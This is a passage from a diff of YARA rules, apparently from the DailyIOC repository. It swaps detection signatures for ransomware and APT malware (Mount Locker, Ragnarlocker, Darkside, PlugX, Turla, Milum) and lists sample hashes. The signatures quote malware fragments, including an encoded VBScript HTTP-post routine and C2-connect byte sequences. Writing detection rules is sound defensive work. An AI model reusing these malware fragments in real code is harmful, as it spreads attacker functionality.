5b 27 43 6c 6f 73 65 27 5d 28 29 } + $s5 = { 5b 27 73 68 69 66 74 27 5d 28 29 } + $s6 = { 3b 76 61 72 20 64 61 74 61 3d 5b } + $s7 = { 62 3d 6e 65 77 20 41 63 74 69 76 65 58 4f 62 6a 65 63 74 28 27 53 63 72 69 70 74 69 6e 67 2e 46 69 6c 65 53 79 73 74 65 6d 4f 62 6a 65 63 74 27 29 } condition: - uint16( 0 ) == 0x5A4D and filesize > 50KB and 6 of ( $s* ) + ( uint16( 0 ) == 0x4d42 or uint16( 0 ) == 0xd8ff or uint32( 0 ) == 0x474e5089 or uint32( 0 ) == 0x38464947 ) and filesize > 20KB and 5 of ( $s* ) } -rule ARKBIRD_SOLG_Ran_Mount_Locker_Nov_2020_1 : FILE +rule ARKBIRD_SOLG_Mal_Plugx_Thor_July_2021_1 : FILE { meta: - description = "Detect Mount Locker ransomware (November 2020 variant)" + description = "Detect Thor variant of PlugX (Variant 1)" author = "Arkbird_SOLG" - id = "20fde6f4-ef7d-57c4-8cc2-a6ea810c2b0c" - date = "2020-11-20" - modified = "2020-11-22" - reference = "Internal Research" - source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-11-21/Mount Locker/Ran_Mount_Locker_Nov_2020_1.yar#L1-L26" + id = "5447e5df-0326-5987-905b-bfc49acee05a" + date = "2021-07-27" + modified = "2021-07-28" + reference = "https://unit42.paloaltonetworks.com/thor-plugx-variant/" + source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-07-27/PlugX/Mal_PlugX_Thor_July_2021_1.yara#L1-L20" license_url = "N/A" - logic_hash = "028e89e9c0c46ac5c36fee5cbfba068b4c6c1f53aa224e454ebd358f2c6ae9a9" + logic_hash = "f94e6cf8a1169526a438dfbf4d6b40f4ce0f6af6eee2e893fb138b81c4172c73" score = 75 quality = 75 tags = "FILE" - hash1 = "e7c277aae66085f1e0c4789fe51cac50e3ea86d79c8a242ffc066ed0b0548037" - hash2 = "226a723ffb4a91d9950a8b266167c5b354ab0db1dc225578494917fe53867ef2" + hash1 = "125fdf108dc1ad6f572cbdde74b0c7fa938a9adce0cc80cb5ce00f1c030b0c93" + hash2 = "690c488a9902978f2ef05aa23d21f4fa30a52dd9d11191f9b49667cd08618d87" + hash3 = "3c5e2a4afe58634f45c48f4e800dc56bae3907dde308ff97740e9cd5684d1c53" + hash4 = "a9cbce007a7467ba1394eed32b9c1774ad09a9a9fb74eb2ccc584749273fac01" + tlp = "white" + adversary = "Chinese APT group" strings: - $s1 = "C:\\Program Files (x86)\\Microsoft Visual Studio\\VB98\\VB6.OLB" fullword wide - $s2 = "VBA6.DLL" fullword ascii - $s3 = "MSComDlg.CommonDialog" fullword ascii - $s4 = "DllFunctionCall" fullword ascii - $s5 = { 00 2a 00 5c 00 41 00 43 00 3a 00 5c [35-160] 00 2e 00 76 00 62 00 70 } - $s6 = "C:\\Program Files (x86)\\Microsoft Visual Studio\\VB98\\COMCTL32.oca" fullword wide - $s7 = "C:\\Program Files (x86)\\Microsoft Visual Studio\\VB98\\MSFLXGRD.oca" fullword ascii - $s8 = "C:\\Program Files (x86)\\Microsoft Visual Studio\\VB98\\VB6.OLB" fullword ascii - $s9 = "SFLXGRD.OCX" fullword ascii - $s10 = "COMDLG32.OCX" fullword ascii - $s11 = "COMCTL32.OCX" fullword ascii - $seq1 = { 42 00 24 00 40 00 43 00 67 00 2f 00 44 00 08 00 4a 00 51 00 77 00 54 00 76 00 25 00 55 00 48 00 00 00 00 00 5d 00 4c 00 09 00 53 00 3e 00 73 00 62 00 52 00 50 00 0b 00 61 00 01 00 61 01 3a 00 03 00 57 00 4f 00 75 00 54 00 71 00 22 00 53 00 37 00 00 00 30 00 1d 00 46 00 5a 00 5c 00 48 00 78 00 63 00 02 00 1d 00 23 00 3b 00 28 00 55 00 73 00 28 00 61 00 3b 00 00 00 00 00 44 00 4e 00 4a 00 4d 00 61 00 40 00 59 00 2b 00 38 00 02 01 04 01 54 00 08 00 52 00 56 00 1d 00 42 00 3e 00 00 00 00 00 35 00 70 00 3b 00 37 00 6f 00 26 00 26 00 40 00 64 00 02 00 51 00 3c 00 41 00 16 00 3e 00 00 00 47 00 58 00 33 00 89 00 54 00 2d 00 29 00 50 00 04 00 59 00 5d 00 4f 00 1b 00 36 00 30 00 83 00 41 00 00 00 2a 00 54 00 47 00 86 00 56 00 19 00 24 00 4e 00 3a 00 45 00 51 00 4d 00 1e 00 3b 00 2b 00 81 00 35 00 00 00 3a 00 65 00 57 00 03 00 2d 00 62 00 53 } - $seq2 = { 5a 00 3d 00 14 00 51 00 1f 00 67 00 1c 00 24 00 00 00 00 00 00 00 6f 00 27 00 62 00 5d 00 6d 00 30 00 01 00 27 01 25 00 62 00 7b 00 05 00 56 00 24 00 3c 00 3d 00 5d 00 2e 00 62 00 03 00 0a 00 57 00 6a 00 02 00 5d 00 02 01 23 01 67 00 20 00 54 00 01 00 6c 01 17 00 0b 00 44 00 21 00 1e 00 01 00 52 01 60 00 3b 00 11 00 45 00 2a 00 59 00 2c 00 19 00 00 00 5a 00 1e 00 61 00 5c 00 6b 00 31 00 01 00 1a 01 2d 00 4a 00 6f 00 11 00 57 00 2c 00 3a 00 3a 00 50 00 2a 00 61 00 02 00 07 00 53 00 7b 00 01 01 5b 00 02 01 6a 01 0b 00 03 00 6d 00 43 00 0c 00 64 00 4d 00 44 00 5f 00 08 00 5a 00 68 00 2b 00 32 00 68 } + $s1 = { 55 8b ec 81 ec ?? 01 00 00 a1 00 [2] 10 33 c5 89 45 [2-10] 85 ?? fe ff ff [0-1] c6 85 ?? fe ff ff 5c c6 85 ?? fe ff ff ?? c6 85 ?? fe ff ff ?? c6 85 ?? fe ff ff ?? c6 85 ?? fe ff ff } + $s2 = { 8b ?? ?? fe ff ff c6 ?? 00 [3-5] fe ff ff [4-10] fe ff ff } + $s3 = { fe ff ff 6a 40 68 00 10 00 00 8b 95 ?? fe ff ff 52 6a 00 ff 95 ?? fe ff ff 89 85 ?? fe ff ff } condition: - uint16( 0 ) == 0x5a4d and filesize > 100KB and 6 of ( $s* ) and 1 of ( $seq* ) + uint16( 0 ) == 0x5A4D and filesize > 25KB and all of ( $s* ) } -rule ARKBIRD_SOLG_Loa_JS_Gootkit_Nov_2020_1 : FILE +rule ARKBIRD_SOLG_MAL_Milum_Jul_2021_1 : FILE { meta: - description = "Detect JS loader used on the Gootkit killchain (November 2020)" + description = "Detect Milum malware" author = "Arkbird_SOLG" - id = "649133bd-a44c-5d99-befa-0508fed27ed8" - date = "2020-11-21" - modified = "2020-11-21" - reference = "https://twitter.com/ffforward/status/1330214661577437187" - source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-11-21/Gootkit/Loa_JS_Gootkit_Nov_2020_1.yar#L1-L16" + id = "ba1cc56e-f6da-57db-a773-4823ae343e31" + date = "2021-07-08" + modified = "2021-07-08" + reference = "https://securelist.com/wildpressure-targets-macos/103072/" + source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-07-08/WildPressure/MAL_Milum_Jul_2021_1.yara#L1-L33" license_url = "N/A" - logic_hash = "f24d31e7107b8c59b969481596a5e1369933bf2b0fa5117cd1aa5f7ea116d8d5" + logic_hash = "4321051fdc9ab5f4ee12c4b505e4271df89b489067875eaf3d2cb670815f7e37" score = 75 quality = 75 tags = "FILE" - hash1 = "7aec3ed791529182c0f64ce34415c3c705a79f3d628cbcff70c34a9f73d8ff42" + hash1 = "7eafb957c2e715e06489a979a185f75d7a9d502223c8aba36e7b6b8ead7d03b2" + hash2 = "86456ebf6b807e8253faf1262e7a2b673131c80174f6133b253b2e5f0da442a9" + hash3 = "5e0226f37b861876ec38e4a1564a26e4af3022d869375bc0f09b8feea4cd9e1b" + tlp = "White" + adversary = "WildPressure" strings: - $s1 = { 7b [4-6] 5b [4-6] 5d 28 [4-6] 5b [4-6] 5d 29 28 [4-6] 5b [4-6] 5d 29 3b 7d } - $s2 = { 7b 72 65 74 75 72 6e 20 [4-6] 20 25 20 28 [4-6] 2b [4-6] 29 3b 7d } - $s3 = { 7b [4-6] 20 3d 20 [4-6] 28 [4-6] 29 2e 73 70 6c 69 74 28 [4-6] 29 3b 7d } - $s4 = { 7b 72 65 74 75 72 6e 20 [4-6] 2e 63 68 61 72 41 74 28 [4-6] 29 3b 7d} - $s5 = { 7b [4-6] 5b [4-6] 5d 20 3d 20 [4-6] 5b [4-6] 5b [4-6] 5d 5d 3b 7d } + $s1 = { 52 00 4f 00 4f 00 54 00 5c 00 53 00 65 00 63 00 75 00 72 00 69 00 74 00 79 00 43 00 65 00 6e 00 74 00 65 00 72 00 32 00 00 00 00 00 53 00 65 00 6c 00 65 00 63 00 74 00 20 [3-7] 20 00 46 00 72 00 6f 00 6d 00 20 00 41 00 6e 00 74 00 69 00 56 00 69 00 72 00 75 00 73 00 50 00 72 00 6f 00 64 00 75 00 63 00 74 00 20 00 57 00 48 00 45 00 52 00 45 00 20 00 64 00 69 00 73 00 70 00 6c 00 61 00 79 00 4e 00 61 00 6d 00 65 00 20 00 3c 00 3e 00 27 00 57 00 69 00 6e 00 64 00 6f 00 77 00 73 00 20 00 44 00 65 00 66 00 65 00 6e 00 64 00 65 00 72 00 27 } + $s2 = "c1VybCA9IHt1fQ0Kc1JlcXVlc3QgPSB7cH0NCkhUVFBQb3N0IHNVcmwsIHNSZXF1ZXN0DQpGdW5jdGlvbiBIVFRQUG9zdChzVXJsLCBzUmVxdWVzdCkNCiAgc2V0IG9IVFRQID0gQ3JlYXRlT2JqZWN0KCJNaWNyb3NvZnQuWE1MSFRUUCIpDQogIG9IVFRQLm9wZW4gIlBPU1QiLCBzVXJsLGZhbHNlDQogIG9IVFRQLnNldFJlcXVlc3RIZWFkZXIgIkNvbnRlbnQtVHlwZSIsICJhcHBsaWNhdGlvbi94LXd3dy1mb3JtLXVybGVuY29kZWQiDQogIG9IVFRQLnNldFJlcXVlc3RIZWFkZXIgIkNvbnRlbnQtTGVuZ3RoIiwgTGVuKHNSZXF1ZXN0KQ0KICBvSFRUUC5zZW5kIHNSZXF1ZXN0DQogIFdzY3JpcHQuRWNobyBvSFRUUC5yZXNwb25zZVRleHQNCiAgSFRUUFBvc3QgPSBvSFRUUC5yZXNwb25zZVRleHQNCiBFbmQgRnVuY3Rpb24=" fullword ascii + $s3 = { 46 49 4c 45 20 48 41 4e 44 45 4c 20 4e 4f 54 20 46 4f 55 4e 44 00 00 00 4e 4f 20 44 61 74 61 00 } + $s4 = { 28 00 77 00 73 00 33 00 32 00 29 00 65 00 79 00 4a 00 73 00 62 00 32 00 35 00 6e 00 64 00 32 00 46 00 70 00 64 00 43 00 49 00 36 00 49 00 6a 00 } + $s5 = { 55 8b ec 6a ff 68 [3] 00 64 a1 00 00 00 00 50 83 ec 24 a1 [3] 00 33 c5 89 45 f0 ?? 57 50 8d 45 f4 64 a3 00 00 00 00 [8] b9 0f 00 00 00 89 4e } + $s6 = { 20 2f 63 20 [0-1] 46 4f 52 20 2f 6c 20 25 69 20 69 6e 20 28 31 2c 31 2c [1-4] 29 20 44 4f 20 49 46 20 4e 4f 54 20 45 58 49 53 54 20 22 00 22 29 } + $s7 = { 83 c4 0c 8d 95 44 fe ff ff 52 c7 85 44 fe ff ff 14 01 00 00 ff 15 [3] 00 83 bd 48 fe ff ff 06 7d 17 bf [3] 00 89 bd ?? fe ff ff c7 85 ?? fe ff ff [3] 00 eb 1a c7 85 ?? fe ff ff [3] 00 8b bd ?? fe ff ff c7 85 ?? fe ff ff [3] 00 } + $s8 = { 8b 45 08 50 68 bc 78 45 00 68 d0 78 45 00 8d 8d d0 fc ff ff 51 ff d6 83 c4 10 8b 3d a0 e0 44 00 8b 35 c4 e0 44 00 8d 64 } condition: - filesize > 1KB and 2 of them + uint16( 0 ) == 0x5a4d and filesize > 40KB and 5 of ( $s* ) } - -rule ARKBIRD_SOLG_Ransom_Ragnarlocker_July_2020_1 : FILE +rule ARKBIRD_SOLG_APT_Turla_Ironpython_Apr_2021_1 : FILE { meta: - description = "Detect Ragnarlocker by strings (July 2020)" + description = "Detect IronPython script used by Turla group" author = "Arkbird_SOLG" - id = "9291ed33-8d7d-5b88-9075-b847fdbab179" - date = "2020-07-30" - modified = "2020-07-30" - reference = "https://twitter.com/JAMESWT_MHT/status/1288797666688851969" - source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-07-30/Yara_Ransom_Ragnarlocker_July_2020_1.yar#L3-L34" + id = "303929d4-2c43-5e43-aeb0-09f469f7091b" + date = "2021-04-30" + modified = "2021-05-01" + reference = "https://twitter.com/DrunkBinary/status/1388332507695919104" + source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-05-01/Turla/APT_Turla_IronPython_Apr_2021_1.yara#L1-L26" license_url = "N/A" - logic_hash = "73d3be9a2d3b315ed6d3d93e2c6f9988d60234530b0398e8949c511f919a8954" + logic_hash = "f6b626cddb4832f842a15eddce705fb24125e4341c425cf27dbbe537e2a98bdc" score = 75 - quality = 23 + quality = 57 tags = "FILE" - hash1 = "04c9cc0d1577d5ee54a4e2d4dd12f17011d13703cdd0e6efd46718d14fd9aa87" + hash1 = "65b43e30547ae4066229040c9056aa9243145b9ae5f3b9d0a01a5068ef9a0361" + hash2 = "c430ebab4bf827303bc4ad95d40eecc7988bdc17cc139c8f88466bc536755d4e" + hash3 = "f76257749792cc4e54f75d0e7a83e7a4429395c5dbc48078a8068575d7e9a98" + tlp = "White" + adversary = "Turla" strings: - $f1 = "bootfont.bin" fullword wide - $f2 = "bootmgr.efi" fullword wide - $f3 = "bootsect.bak" fullword wide - $r1 = "$!.txt" fullword wide - $r2 = "---BEGIN KEY R_R---" fullword ascii - $r3 = "!$R4GN4R_" fullword wide - $r4 = "RAGNRPW" fullword ascii - $r5 = "---END KEY R_R---" fullword ascii - $a1 = "+RhRR!-uD8'O&Wjq1_P#Rw<9Oy?n^qSP6N{BngxNK!:TG*}\\|W]o?/]H*8z;26X0" fullword ascii - $a2 = "\\\\.\\PHYSICALDRIVE%d" fullword wide - $a3 = "WinSta0\\Default" fullword wide - $a4 = "%s-%s-%s-%s-%s" fullword wide - $a5 = "SOFTWARE\\Microsoft\\Cryptography" fullword wide - $c1 = "-backup" fullword wide - $c2 = "-force" fullword wide - $c3 = "-vmback" fullword wide - $c4 = "-list" fullword wide - $s1 = ".ragn@r_" fullword wide - $s2 = "\\notepad.exe" fullword wide - $s3 = "Opera Software" fullword wide - $s4 = "Tor browser" fullword wide + $s1 = { 6c 61 6d 62 64 61 20 73 2c 6b 3a 27 27 2e 6a 6f 69 6e 28 5b 63 68 72 28 28 6f 72 64 28 63 29 5e 6b 29 25 30 78 31 30 30 29 20 66 6f 72 20 63 20 69 6e 20 73 5d 29 } + $s2 = { 66 72 6f 6d 20 53 79 73 74 65 6d 2e 53 65 63 75 72 69 74 79 2e 43 72 79 70 74 6f 67 72 61 70 68 79 20 69 6d 70 6f 72 74 2a } + $s3 = { 52 69 6a 6e 64 61 65 6c 4d 61 6e 61 67 65 64 28 4b 65 79 53 69 7a 65 3d 31 32 38 2c 42 6c 6f 63 6b 53 69 7a 65 3d 31 32 38 29 } + $s4 = { 72 65 74 75 72 6e 20 53 79 73 74 65 6d 2e 41 72 72 61 79 5b 53 79 73 74 65 6d 2e 42 79 74 65 5d 28 5b 6f 72 64 28 78 29 66 6f 72 20 78 20 69 6e 20 6c 69 73 74 28 73 74 72 29 5d 29 } + $s5 = { 53 79 73 74 65 6d 2e 41 72 72 61 79 2e 43 72 65 61 74 65 49 6e 73 74 61 6e 63 65 28 53 79 73 74 65 6d 2e 42 79 74 65 2c [10-12] 2e 4c 65 6e 67 74 68 29 } + $s6 = { 28 62 61 73 65 36 34 2e 62 36 34 64 65 63 6f 64 65 28 [4-10] 5b 31 36 3a 5d 29 2c 73 79 73 2e 61 72 67 76 5b 31 5d 2c [4-10] 5b 3a 31 36 5d 2c } + $s7 = { 41 73 73 65 6d 62 6c 79 2e 4c 6f 61 64 28 } + $s8 = { 20 69 66 20 6c 65 6e 28 73 79 73 2e 61 72 67 76 29 21 3d 32 3a } + $s9 = { 65 78 63 65 70 74 20 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 45 78 63 65 70 74 69 6f 6e 20 61 73 20 65 78 3a } + $s10 = { 69 66 20 5f 5f 6e 61 6d 65 5f 5f 3d 3d } + $s11 = { 2e 66 6f 72 6d 61 74 28 65 78 2e 4d 65 73 73 61 67 65 2c 65 78 2e 53 74 61 63 6b 54 72 61 63 65 29 29 } condition: - uint16( 0 ) == 0x5a4d and filesize < 30KB and ( pe.imphash ( ) == "2c2aab89a4cba444cf2729e2ed61ed4f" and ( ( 2 of ( $f* ) ) and ( 3 of ( $r* ) ) and ( 4 of ( $a* ) ) and ( 2 of ( $c* ) ) and ( 2 of ( $s* ) ) ) ) + filesize > 100KB and 9 of ( $s* ) } -rule ARKBIRD_SOLG_APT_APT34_RDAT_Feb_2021_1 : FILE +rule ARKBIRD_SOLG_RAN_ELF_Darkside_Apr_2021_1 : FILE { meta: - description = "Detect Installer from APT34 group" + description = "Detect the ELF version of Darkside ransomware" author = "Arkbird_SOLG" - id = "32f28376-e792-543b-82f7-36ec627b4fab" - date = "2021-02-26" - modified = "2021-02-27" - reference = "Internal Research" - source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-02-26/APT34/APT_APT34_RDAT_Feb_2021_1.yar#L1-L19" + id = "10c0ba57-d6d6-5d1d-bd2a-f6f240d71f8b" + date = "2021-05-01" + modified = "2021-05-02" + reference = "https://twitter.com/JAMESWT_MHT/status/1388301138437578757" + source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-05-01/Darkside/RAN_ELF_Darkside_Apr_2021_1.yara#L1-L23" license_url = "N/A" - logic_hash = "61ea6eceda0c7d6ec15db87891c4322002c112383c7a4d0089e35db9636bbe73" - score = 50 - quality = 73 + logic_hash = "510932893e1e81d6c88e86c7ae2345460b397c936336c7e1a33799dbc1dd6aab" + score = 75 + quality = 75 tags = "FILE" - level = "experimental" - hash1 = "65a6afc027ff851bd325d8a4f2ab4f326dd8f2c230bfd49a213c5afc00df8e2c" + hash1 = "984ce69083f2865ce90b48569291982e786980aeef83345953276adfcbbeece8" + hash2 = "9cc3c217e3790f3247a0c0d3d18d6917701571a8526159e942d0fffb848acffb" + hash3 = "c93e6237abf041bc2530ccb510dd016ef1cc6847d43bf023351dce2a96fdc33b" + tlp = "White" + adversary = "-" strings: - $s1 = "XAVVQxcVAVIfCBYWARQfEBldEU4ZF1JbUFJYCgpCTg==" fullword ascii - $s2 = { 0b da 89 5c 24 40 40 38 3d 55 56 } - $s3 = { 57 4e 44 31 23 31 2e 32 } - $s4 = { 63 00 6d 00 64 00 2e 00 65 00 78 00 65 00 20 00 2f 00 63 } - $seq_Service = { 4c 8b dc 57 48 81 ec e0 02 00 00 48 c7 44 24 70 fe ff ff ff 49 89 5b 10 49 89 73 18 48 8b 05 65 12 0a 00 48 33 c4 48 89 84 24 d0 02 00 00 48 8b d9 48 89 4c 24 78 41 b8 04 01 00 00 49 8d 93 d8 fd ff ff 33 c9 ff 15 9d 20 07 00 85 c0 75 19 ff 15 33 21 07 00 8b d0 48 8d 0d 8a b6 08 00 e8 1d f7 ff ff e9 a5 01 00 00 33 f6 48 89 b4 24 90 00 00 00 48 89 b4 24 98 00 00 00 45 33 c0 33 d2 48 8d 8c 24 80 00 00 00 e8 d4 9f ff ff 66 39 b4 24 c0 00 00 00 75 05 44 8b c6 eb 1f 48 8d 84 24 c0 00 00 00 49 83 c8 ff 66 0f 1f 84 00 00 00 00 00 49 ff c0 66 42 39 34 40 75 f6 48 8d 94 24 c0 00 00 00 48 8d 8c 24 80 00 00 00 e8 41 05 00 00 90 4c 8b c3 48 8d 8c 24 a0 00 00 00 e8 60 0a 00 00 90 49 83 c9 ff 45 33 c0 48 8b d0 48 8d 8c 24 80 00 00 00 e8 a8 07 00 00 90 45 33 c0 b2 01 48 8d 8c 24 a0 00 00 00 e8 55 9f ff ff 33 d2 33 c9 41 b8 3f 00 0f 00 ff 15 d5 1e 07 00 48 8b f8 48 85 c0 75 19 ff 15 5f 20 07 00 8b d0 48 8d 0d de b5 08 00 e8 49 f6 ff ff e9 be 00 00 00 4c 8d 8c 24 80 00 00 00 48 83 bc 24 98 00 00 00 08 4c 0f 43 8c 24 80 00 00 00 48 8d 15 33 7a 0a 00 4c 8b c2 48 83 3d 40 7a 0a 00 08 4c 0f 43 05 20 7a 0a 00 48 0f 43 15 18 7a 0a 00 48 89 74 24 60 48 89 74 24 58 48 89 74 24 50 48 89 74 24 48 48 89 74 24 40 4c 89 4c 24 38 c7 44 24 30 01 00 00 00 c7 44 24 28 02 00 00 00 c7 44 24 20 10 00 00 00 41 b9 ff 01 0f 00 48 8b c8 ff 15 23 1e 07 00 48 8b f0 48 85 c0 75 16 ff 15 bd 1f 07 00 8b d0 48 8d 0d 5c b5 08 00 e8 a7 f5 ff ff eb 15 48 8d 0d 6e b5 08 00 e8 99 f5 ff ff 48 8b ce ff 15 e0 1d 07 00 48 8b cf ff 15 d7 1d 07 00 90 45 33 c0 b2 01 48 8d 8c 24 80 00 00 00 e8 54 9e ff ff 90 45 33 c0 b2 01 48 8b cb e8 46 9e ff ff 48 8b 8c 24 d0 02 00 00 48 33 cc e8 d6 94 02 00 4c 8d 9c 24 e0 02 00 00 49 8b 5b 18 49 8b 73 20 49 8b e3 5f } - $seq_ConnectC2 = { 33 c0 48 89 44 24 70 48 89 44 24 78 66 89 7c 24 70 8d 48 35 ff 15 2f 62 07 00 66 89 44 24 72 48 8b cb e8 ea dc ff ff 48 8b c8 ff 15 29 62 07 00 89 44 24 74 49 8b cd e8 d5 dc ff ff 48 8b d0 c7 44 24 28 10 00 00 00 48 8d 44 24 70 48 89 44 24 20 45 33 c9 45 8b 45 10 49 8b cc ff 15 e0 61 07 00 83 f8 ff 75 12 45 33 c0 48 8d 15 6b cb 08 00 48 8b ce e8 79 de ff ff 4c 89 a4 24 a8 00 00 00 c7 84 24 a0 00 00 00 01 00 00 00 48 c7 44 24 38 0a 00 00 00 41 8d 4c 24 01 48 8d 44 24 38 48 89 44 24 20 45 33 c9 45 33 c0 48 8d 94 24 a0 00 00 00 ff 15 aa 61 07 00 83 f8 01 0f 94 c0 84 c0 0f 84 0f 01 00 00 45 33 c9 41 b8 00 02 00 00 48 8d 94 24 b0 02 00 00 49 8b cc ff 15 72 61 07 00 4c 63 c0 85 c0 0f 8e ea 00 00 00 41 8b c8 49 8b d0 49 8b c0 45 85 c0 0f 8e d8 00 00 00 0f 1f 44 00 00 80 bc 04 b0 02 00 00 00 0f 85 b7 00 00 00 48 3b d0 0f 84 ae 00 00 00 85 c9 0f 84 b4 00 00 00 83 c1 03 41 3b c8 0f 8d a8 00 00 00 48 8d 9c 24 b0 02 00 00 48 03 da 48 63 c1 48 8d bc 24 b0 02 00 00 48 03 f8 4c 89 b4 24 90 00 00 00 4c 89 b4 24 98 00 00 00 45 33 c0 33 d2 48 8d 8c 24 80 00 00 00 e8 0a dd ff ff 48 3b fb 74 17 48 2b df 4c 8b c3 48 8b d7 48 8d 8c 24 80 00 00 00 e8 6f dd ff ff 90 48 8d 84 24 80 00 00 00 48 3b f0 74 18 49 83 c9 ff 45 33 c0 48 8d 94 24 80 00 00 00 48 8b ce e8 2a de ff ff 90 45 33 c0 b2 01 48 8d 8c 24 80 00 00 00 e8 b7 dc ff ff 48 8b 5c 24 48 bf } - $seq_RegisterEvent = { 40 53 48 83 ec 20 48 83 3d 5a 79 0a 00 08 48 8d 1d 3b 79 0a 00 48 8b cb 48 8d 15 91 01 00 00 48 0f 43 0d 29 79 0a 00 ff 15 93 1d 07 00 48 89 05 44 77 0a 00 48 8b c8 48 85 c0 75 2d 48 83 3d 24 79 0a 00 08 48 0f 43 1d 04 79 0a 00 48 8b d3 ff 15 7b 1d 07 00 48 85 c0 74 62 48 8b c8 ff 15 35 1d 07 00 48 83 c4 20 5b c3 33 c0 c7 05 db 76 0a 00 10 00 00 00 48 89 05 e0 76 0a 00 48 8d 15 cd 76 0a 00 8b 05 17 1c 0a 00 89 05 d5 76 0a 00 ff c0 89 05 09 1c 0a 00 48 c7 05 b2 76 0a 00 02 00 00 00 c7 05 bc 76 0a 00 b8 0b 00 00 ff 15 06 1d 07 00 48 83 c4 20 5b } + $seq1 = { 48 8d 3d d1 e8 3b 00 e8 9c 51 f2 ff 85 c0 74 c6 4c 8d 6c 24 10 4c 89 ef e8 ab bf 02 00 48 8d 1d 34 bb 37 00 49 8d 75 08 48 8d 3d 31 e1 3b 00 48 8d 43 10 48 89 05 1e e1 3b 00 e8 09 1e 02 00 48 8d 05 22 d8 0e 00 48 8b 7c 24 18 c7 05 4b e1 3b 00 01 00 00 00 48 89 05 1c e1 3b 00 48 8d 05 4d d8 0e 00 48 85 ff 48 89 05 13 e1 3b 00 48 8d 05 84 d8 0e 00 48 89 05 0d e1 3b 00 48 8d 05 be d8 0e 00 48 89 05 07 e1 3b 00 48 8d 05 48 d9 0e 00 48 89 05 01 e1 3b 00 48 8d 43 10 48 89 44 24 10 74 05 e8 21 45 f2 ff 4c 8d ac 24 30 03 00 00 4c 89 ef e8 11 bf 02 00 4c 8d b4 24 10 03 00 00 ba 03 00 00 00 4c 89 ee 4c 89 f7 e8 39 62 ff ff 48 8b bc 24 38 03 00 00 48 8d 43 10 48 89 84 24 30 03 00 00 48 85 ff 74 05 e8 db 44 f2 ff 4c 8d 6c 24 30 ba 01 00 00 00 4c 89 f6 4c 89 ef e8 06 62 ff ff 48 8b bc 24 18 03 00 00 48 8d 43 10 48 89 84 24 10 03 00 00 48 85 ff 74 05 e8 a8 44 f2 ff 48 8d 43 10 49 8d 75 08 48 8d 3d 81 e0 3b 00 48 89 05 72 e0 3b 00 e8 0d 1d 02 00 48 8d 05 26 d7 0e 00 48 8b 7c 24 38 c7 05 9f e0 3b 00 01 00 00 00 48 89 05 70 e0 3b 00 48 8d 05 51 d7 0e 00 48 85 ff 48 89 05 67 e0 3b 00 48 8d 05 88 d7 0e 00 48 89 05 61 e0 3b 00 48 8d 05 c2 d7 0e 00 48 89 05 5b e0 3b 00 48 8d 05 4c d8 0e 00 48 89 05 55 e0 3b 00 48 8d 43 10 48 89 44 24 30 74 05 e8 25 44 f2 ff 4c 8d b4 24 50 03 00 00 4c 89 f7 e8 05 c5 02 00 4c 8d 6c 24 50 ba 01 00 00 00 4c 89 f6 4c 89 ef e8 40 61 ff ff 48 8b bc 24 58 03 00 00 48 8d 43 10 48 89 84 24 50 03 00 00 48 85 ff 74 05 e8 e2 43 f2 ff 48 8d 43 10 49 8d 75 08 48 8d 3d 0b e0 3b 00 48 89 05 fc df 3b 00 e8 47 1c 02 00 48 8d 05 18 d8 0e 00 48 8b 7c 24 58 c7 05 29 e0 3b 00 01 00 00 00 48 89 05 fa df 3b 00 48 8d 05 33 d8 0e 00 48 85 ff 48 89 05 f1 df 3b 00 48 8d 05 5a d8 0e 00 48 89 05 eb df 3b 00 48 8d 05 84 d8 0e 00 48 89 05 e5 df 3b 00 48 8d 05 de d8 0e 00 48 89 05 df df 3b 00 48 8d 43 10 48 89 44 24 50 74 05 e8 5f 43 f2 ff 4c 8d b4 24 70 03 00 00 4c 89 f7 e8 3f c4 02 00 4c 8d 6c 24 70 ba 07 00 00 00 4c 89 f6 4c 89 ef e8 7a 60 ff ff 48 8b bc 24 78 03 00 00 48 8d 43 10 48 89 84 24 70 03 00 00 48 85 ff 74 05 e8 1c 43 f2 ff 48 8d 43 10 49 8d 75 08 48 8d 3d 95 df 3b 00 48 89 05 86 df 3b 00 e8 81 1b 02 00 48 8d 05 9a d8 0e 00 48 8b 7c 24 78 c7 05 b3 df 3b 00 01 00 00 00 48 89 05 84 df 3b 00 48 8d 05 c5 d8 0e 00 48 85 ff 48 89 05 7b df 3b 00 48 8d 05 fc d8 0e 00 48 89 05 75 df 3b 00 48 8d 05 36 d9 0e 00 48 89 05 6f df 3b 00 48 8d 05 b0 d9 0e 00 48 89 05 69 df 3b 00 48 8d 43 10 48 89 44 24 70 74 05 e8 99 42 f2 ff 4c 8d ac 24 90 03 00 00 4c 89 ef e8 19 be 02 00 4c 8d b4 24 b0 03 00 00 ba 01 00 00 00 4c 89 ee 4c 89 f7 e8 b1 5f ff ff 4c 8d ac 24 90 00 00 00 ba 01 00 00 00 4c 89 f6 4c 89 ef e8 99 5f ff ff 48 8b bc 24 b8 03 00 00 48 8d 43 10 48 89 84 24 b0 03 00 00 48 85 ff 74 05 e8 3b 42 f2 ff 48 8b bc 24 98 03 00 00 48 8d 43 10 48 89 84 24 90 03 00 00 48 85 ff 74 05 e8 1d 42 f2 ff 48 8d 43 10 49 8d 75 08 48 8d 3d e6 de 3b 00 48 89 05 d7 de 3b 00 e8 82 1a 02 00 48 8d 05 43 d9 0e 00 48 8b bc 24 98 00 00 00 c7 05 01 df 3b 00 01 00 00 00 48 89 05 d2 de 3b 00 48 8d 05 53 d9 0e 00 48 85 ff 48 89 05 c9 de 3b 00 48 8d 05 72 d9 0e 00 48 89 05 c3 de 3b 00 48 8d 05 94 d9 0e 00 48 89 05 bd de 3b 00 48 8d 05 de d9 0e 00 48 89 05 b7 de 3b 00 48 8d 43 10 